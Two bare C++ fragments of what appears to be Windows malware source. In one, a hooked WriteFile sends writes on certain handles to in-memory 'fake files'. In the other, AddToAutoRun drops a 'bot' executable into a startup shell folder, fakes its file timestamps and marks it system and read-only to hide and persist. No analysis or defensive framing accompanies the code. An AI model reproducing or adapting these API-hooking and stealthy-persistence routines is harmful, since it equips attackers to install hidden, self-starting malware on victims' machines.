BOOL WINAPI MyWriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ) { CUserFileObject *pUserFileObj = NULL; BOOL bRes = FRecord.GetRecordData(hFile,&pUserFileObj); if ( pUserFileObj ) { #if defined(DEBUG) || defined(_DEBUG) CString strFileName; CMemFileObject *pMemFileObj = pUserFileObj->GetMemFileObjPtr(); if (pMemFileObj) { strFileName = pMemFileObj->GetFileName(); } CString strMsgOut; strMsgOut.Format(L"写入伪文件 Handle 0x%x Length %d Path:%s\n",hFile,nNumberOfBytesToWrite,strFileName); OutputDebugStringW(strMsgOut); #endif return pUserFileObj->WriteFile(lpBuffer,nNumberOfBytesToWrite,lpNumberOfBytesWritten);; } return pWriteFile( hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped ); }
void AddToAutoRun(void *body, DWORD size) { WCHAR *BotPath = GetShellFoldersKey( 1 ); if ( BotPath == NULL ) { return; } plstrcatW( BotPath, BOT_FILE_NAME ); pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL ); HANDLE f = pCreateFileW(BotPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD written = 0; if (f != INVALID_HANDLE_VALUE) { pWriteFile(f, body, size, &written, NULL); pCloseHandle(f); } if (written == size) { SetFakeFileDateTimeW( BotPath ); pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY ); } MemFree( BotPath ); }